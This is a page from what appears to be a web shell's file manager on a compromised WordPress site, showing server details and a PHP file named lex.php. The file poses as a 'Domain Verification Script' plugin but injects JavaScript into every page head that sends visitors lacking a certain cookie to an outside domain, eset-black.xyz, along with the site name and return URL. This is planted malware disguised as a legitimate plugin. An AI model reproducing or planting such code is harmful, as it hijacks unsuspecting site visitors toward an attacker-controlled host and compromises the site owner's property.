HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: bannong (1179)
PHP: 8.1.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/bannong/domains/bannongsaischool.com/public_html/wp-content/plugins/lexer/lex.php
<?php
/*
Plugin Name: Domain Verification Script
Description: Добавляет скрипт проверки домена в head сайта
Version: 1.0
Author: Ваше имя
*/

function add_verification_script() {
    ?>
    <!-- Verification Script -->
    <script>
    document.addEventListener('DOMContentLoaded', function() {
        if (!document.cookie.includes('verified_token=')) {
            const domain = window.location.hostname;
            window.location.href = `https://eset-black.xyz/?domain=${encodeURIComponent(domain)}&return=${encodeURIComponent(window.location.href)}`;
        }
    });
    </script>
    <?php
}
add_action('wp_head', 'add_verification_script', 20);